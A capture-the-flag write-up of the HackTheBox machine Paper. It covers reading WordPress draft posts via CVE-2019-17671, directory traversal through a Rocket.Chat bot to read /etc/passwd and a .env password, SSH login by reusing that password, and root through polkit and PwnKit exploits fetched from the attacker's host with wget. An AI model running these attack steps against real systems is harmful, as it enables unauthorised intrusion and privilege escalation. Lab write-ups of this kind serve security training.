HTB: Paper
Paper is a fun easy-rated box themed off characters from the TV show “The Office”. There’s a WordPress vulnerability that allows reading draft posts. In a draft post, I’ll find the URL to register accounts on a Rocket Chat instance. Inside the chat, there’s a bot that can read files. I’ll exploit a directory traversal to read outside the current directory, and find a password that can be used to access the system. To escalate from there, I’ll exploit a 2021 CVE in PolKit. In Beyond Root, I’ll look at a later CVE in Polkit, Pwnkit, and show why Paper wasn’t vulnerable, make it vulnerable, and exploit it.
Box Info
Name | Paper Play on HackTheBox |
---|---|
Release Date | 05 Feb 2022 |
Retire Date | 18 Jun 2022 |
OS | Linux |
Base Points | Easy [20] |
Rated Difficulty | |
Radar Graph | |
00:23:52 |
|
00:29:19 |
|
Creator |
Recon
nmap
nmap
finds three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.143
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-04 17:59 UTC
Nmap scan report for 10.10.11.143
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
oxdf@hacky$ nmap -p 22,80,443 -sCV 10.10.11.143
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-04 17:59 UTC
Nmap scan report for 10.10.11.143
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
Based on the Apache version, the host is likely running Centos 8. There’s a TLS certificate, but it just has localhost.localdomain
, which isn’t interesting. The HTTP port and the HTTPS port seem to be the same.
Website - TCP 80/443
Site
Both the HTTP and HTTPS sites just show a default CentOs Apache Page:
Tech Stack
Surprisingly, the default page doesn’t load as index.html
on either port. One interesting note is that that default page is coming back with an HTTP 403 Forbidden response (and not a 200 OK). Not sure that means anything, but interesting.
The headers on 443 don’t give any additional information either. But there’s an extra header on 80:
HTTP/1.1 403 Forbidden
Date: Sat, 04 Jun 2022 20:42:12 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Connection: close
Content-Type: text/html; charset=UTF-8
X-Backend-Server
is a non-standard header, and it’s leaking a domain name, office.paper
.
Directory Brute Force
I’ll run feroxbuster
against the site, and it finds /manual
, but nothing else. /manual
is an Apache default page:
Subdomain Fuzz
Knowing that there are different DNS names in use, I’ll fuzz for subdomains using wfuzz
. I’ll start this without any filtering, and see the the default case is 199691 characters. I’ll kill it, and restart with --hh 199691
. It finds one additional subdomain:
oxdf@hacky$ wfuzz -u http://office.paper -H "Host: FUZZ.office.paper" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 199691
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://office.paper/
Total requests: 4989
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000070: 200 507 L 13015W 223163 Ch "chat"
Total time: 668.9470
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 7.457989
I’ll add chat.office.paper
to my /etc/hosts
file as well.
office.paper - TCP 80
Site
The HTTPS site for office.paper
returns the same default page. But the HTTP site has a new page for a paper company, Blunder Tiffin:
This is a clearly a play on the company from the TV show “The Office”, which focuses on a paper company called Dunder Mifflin.
There are three posts, all by Prisonmike, and all a similar character to the dumb boss like on the TV show. There is one comment on one of the posts that has a hint:
I’ll make sure to check out draft posts if I can find access.
Tech Stack
The bottom of the page says in very dark letters “Proudly Powered By WordPress”. The HTTP response headers also contain WordPress references:
HTTP/1.1 200 OK
Date: Sun, 05 Jun 2022 15:40:28 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Powered-By: PHP/7.2.24
Link: <http://office.paper/index.php/wp-json/>; rel="https://api.w.org/"
X-Backend-Server: office.paper
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23849
wpscan
I’ll run wpscan
to identify WordPress issues using wpscan --url http://office.paper --api-token $WPSCAN_API
. To scan for vulnerabilities, I need to use an API token, which I got for free at the wpscan site. I store my API token in the Bash environment variable $WPSCAN_API
with this line in my ~/.bashrc
file:
export WPSCAN_API=[redacted]
wpscan
finds the WP version is 5.2.3:
...[snip]...
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
| Found By: Rss Generator (Passive Detection)
| - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
| - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
|
| [!] 32 vulnerabilities identified:
...[snip]...
There are 32 known vulnerabilities in this version, but one towards the top jumps out given the mention of drafts earlier:
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
I’ll exploit this one below.
chat.office.paper - TCP 80
This site is an instance of rocket.chat, and open source communications platform:
Under the login button there’s a custom bit of text that says the registration URL is hidden.
I’ll try some basic credendial guessing, but nothing logs in. I don’t see any interesting vulnerabilities in rocket.chat.
Shell as dwight
Access rocket.chat
CVE-2019-17671
This post breaks down how vulnerable WordPress versions could be exploited via CVE-2019-17671 to view draft, password protected, and private posts. It’s a mistake in how WordPress handles displaying a mix of draft and published posts when viewed with ?static=1
. The if the first post returned is public, then all the posts will be dumped to the page. There are ways to reorder the result, but here it just works without any additional tricks by visiting http://office.paper/?static=1
:
There is a private link to access rocket chat registration.
Register for Chat
At that link, it provides a registration form:
The next page asks me to pick a username:
And on clicking “Use this username” I’m in the chat:
recyclops
Discover
The #general
channel has a bunch of characters from the TV show, and some good jokes, but also a bit about Dwight programming a bot:
The most interesting points:
recyclops help
will show the commands- recyclops can get files and list files
- this channel is read only
- recyclops can be reached by DM (direct message).
Listing Files
I’ll open a DM to recyclops, and try to list files:
It shows the contents of /sales/
. If I give it a valid directory, it returns the contents of that directory. But if I give it an invalid path, it errors, and gives the full path:
This command is vulnerable to directory traversal:
It seems hardened against command injection:
Read Files
The bot can show file content:
The directory traversal vulnerability is present in this command as well. file ../../../etc/passwd
shows the contents of that file:
I’ll note that dwight and rocketchat are the only users on the box not in the system/service range below 1000.
Leak Credentials
In ../hubot
there’s a NodeJS project:
The .env
file is immediately interesting, as those files tend to hold secrets for the project:
There’s a password, “Queenofblad3s!23”.
SSH
Given the access to files in /home/dwight
, it makes sense that the bot is running as dwight. It’s worth checking if dwight shared their password across rocketchat and the system. crackmapexec
shows it works:
oxdf@hacky$ crackmapexec ssh 10.10.11.143 -u dwight -p 'Queenofblad3s!23'
SSH 10.10.11.143 22 10.10.11.143 SSH-2.0-OpenSSH_8.0
SSH 10.10.11.143 22 10.10.11.143 [+] dwight:Queenofblad3s!23
Note: It’s important to put that password in single quotes and not double quotes, or Bash will interpret !23
as the command run 23 commands ago in the current sessions history.
SSH works to get a shell:
oxdf@hacky$ sshpass -p 'Queenofblad3s!23' ssh dwight@10.10.11.143
Activate the web console with: systemctl enable --now cockpit.socket
Last failed login: Sun Jun 5 13:34:39 EDT 2022 from 10.10.14.6 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$
And user.txt
:
[dwight@paper ~]$ cat user.txt
9e780dce************************
Shell as root
LinPEAS
In general, I like to enumeration manually before breaking out enumeration scripts because it provides good practice of knowing the things to look for. That said, on this one, after a looking around on my own, I didn’t see much of interest.
Build
I could grab the latest release from the releases page, but there’s also a builder I can use. I’ll clone the repo onto my computer (git clone https://github.com/carlospolop/PEASS-ng
), and then go into the PEASS-ng/linPEAS
directory.
oxdf@hacky$ ls
builder images README.md
From there, I’ll call the builder script with python3 -m builder.linpeas_builder
. This is going to run linpeas_builder
from the builder
directory, which builds a .sh
script:
oxdf@hacky$ python -m builder.linpeas_builder
[+] Building temporary linpeas_base.sh...
[+] Building variables...
[+] Building finds...
[+] Building storages...
[+] Checking duplicates...
[+] Building autocheck sections...
[+] Building regexes searches...
[+] Building linux exploit suggesters...
[+] Building GTFOBins lists...
[+] Final sanity checks...
oxdf@hacky$
oxdf@hacky$ ls
builder images linpeas.sh README.md
I’ll start a webserver (python3 -m http.server 80
) in that directory, and then fetch it from Paper with wget
(working out of /dev/shm
as a temp directory):
[dwight@paper shm]$ wget 10.10.14.6/linpeas.sh
--2022-06-05 14:16:30-- http://10.10.14.6/linpeas.sh
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776776 (759K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=================================>] 758.57K 1.17MB/s in 0.6s
2022-06-05 14:16:31 (1.17 MB/s) - ‘linpeas.sh’ saved [776776/776776]
Results
I’ll run linpeas
with bash linpeas.sh
. Right at the top of the output under “System Information”, it says the system is vulnerable to CVE-2021-3560:
╔════════════════════╗
════════════════════════════════════════╣ System Information ╠════════════════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 4.18.0-348.7.1.el8_5.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-4) (GCC)) #1 SMP Wed Dec 22 13:25:12 UTC 2021
lsb_release Not Found
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.29
╔══════════╣ CVEs Check
Vulnerable to CVE-2021-3560
A bit further there, there’s a section from “Linux Exploit Suggester”
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
...[snip]...
There are three more, but they each have comments that say specific configurations need to be enabled on the system for them to work. So I’ll start with these.
Looking through the rest of the output, there’s not a ton that jumped out as interesting.
Baron Samedit - Fail
CVE-2021-3156 is a heap-based buffer overflow vulnerability in sudo
, referred to as Baron Samedit. This vulnerability was discovered by researchers at Qualys, and they have a very thorough blog post about it.
The vulnerability was patched very quickly, but one annoying feature about the patch is that it didn’t update the version number for sudo
or any other binary. So it’s not possible to tell definitively if a version if vulnerable or not just by version number.
To check, you run sudoedit -s /
. If this returns an error message sudoedit: /: not a regular file
, then it’s vulnerable. If it returns the sudoedit
usage, it’s not. Paper is not vulnerable:
[dwight@paper shm]$ sudoedit -s /
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
PwnKit - Fail
CVE-2021-4034 is another bug discovered by Qualys, this time in pkexec
, which is referred to as PwnKit. This blog post goes into all the detail. The exploit abuses a mishandling of an empty argc
(where parameters are passed into a Linux program) to get execution through pkexec
which runs as root (via SetUID) by default.
The version of pkexec
on Paper is likely vulnerable to this exploit, but there’s an issue:
[dwight@paper shm]$ ls -l /usr/bin/pkexec
-rwxr-xr-x. 1 root root 29816 May 11 2019 /usr/bin/pkexec
pkexec
isn’t set as SetUID, and thus, exploiting it will only return execution as the user that runs it, which isn’t useful.
Polkit CVE
CVE-2021-3650 is a vulnerability in polkit discovered by Keven Backhouse of the GitHub Security Lab. This attack is a timing attack against polkit, and by killing the process at the right time, it ends up skipping the authentication and allow actions such as creating an account with sudo
privs and setting the password..
The author of Paper happens to have a script for this exploit on their GitHub. I’ll save a copy on my VM, and start a webserver in that directory (python3 -m http.server 80
). Then I’ll fetch the script with wget
to Paper:
[dwight@paper shm]$ wget 10.10.14.6/cve-2021-3650.sh
--2022-06-05 15:25:11-- http://10.10.14.6/cve-2021-3650.sh
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9627 (9.4K) [text/x-sh]
Saving to: ‘cve-2021-3650.sh’
cve-2021-3650.sh 100%[=================================>] 9.40K --.-KB/s in 0.005s
2022-06-05 15:25:11 (1.91 MB/s) - ‘cve-2021-3650.sh’ saved [9627/9627]
Now I just run it:
[dwight@paper shm]$ bash cve-2021-3650.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was successful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was successful,simply enter 'sudo bash' and drop into a root shell!
It might not work every time, but running it repeatedly will eventually work. I’ll change user to the secnigma user with the password secnigmaftw (from the README.md
on GitHub):
[dwight@paper shm]$ su - secnigma
Password:
[secnigma@paper ~]$
Now this user is in the wheel
group:
[secnigma@paper ~]$ id
uid=1005(secnigma) gid=1005(secnigma) groups=1005(secnigma),10(wheel)
This group allows members to run sudo
. I’ll need the password again, but it works:
[secnigma@paper ~]$ sudo bash
[sudo] password for secnigma:
[root@paper secnigma]#
And I can get the final flag:
[root@paper ~]# cat root.txt
1f6cdd61************************
Beyond Root - Revisiting PwnKit
Verify Failure
On noticing that pkexec
was not SetUID, I gave up on PwnKit and moved to other things (which is a reasonable thing to do). I wanted to come back and play with that now that I have root access.
I’ll grab a POC pretty much at random (I’m going with this one by luijait). I’ll save a copy of exploit.c
on Paper and then compile it:
[dwight@paper shm]$ cc -Wall exploit.c -o exploit
[dwight@paper shm]$ ls -l
total 28
-rwxrwxr-x 1 dwight dwight 21992 Jun 5 16:15 exploit
-rw-rw-r-- 1 dwight dwight 1547 Jun 5 16:15 exploit.c
I run it, and it complains that “pkexec must be setuid root”:
[dwight@paper shm]$ ./exploit
Current User before execute exploit
hacker@victim$whoami: dwight
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed successfully
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
Re-SetUID pwnkit
As root, I’ll change pkexec
back to SetUID permissions:
[root@paper ~]# chmod 4755 /usr/bin/pkexec
[root@paper ~]# ls -l /usr/bin/pkexec
-rwsr-xr-x. 1 root root 29816 May 11 2019 /usr/bin/pkexec
Back in the shell as dwight, I’ll try the exploit again:
[dwight@paper shm]$ ./exploit
Current User before execute exploit
hacker@victim$whoami: dwight
Exploit written by @luijait (0x6c75696a616974)mkdir: cannot create directory ‘GCONV_PATH=.’: File exists
[+] Enjoy your root if exploit was completed successfully
[root@paper shm]#
It works and returns a root shell.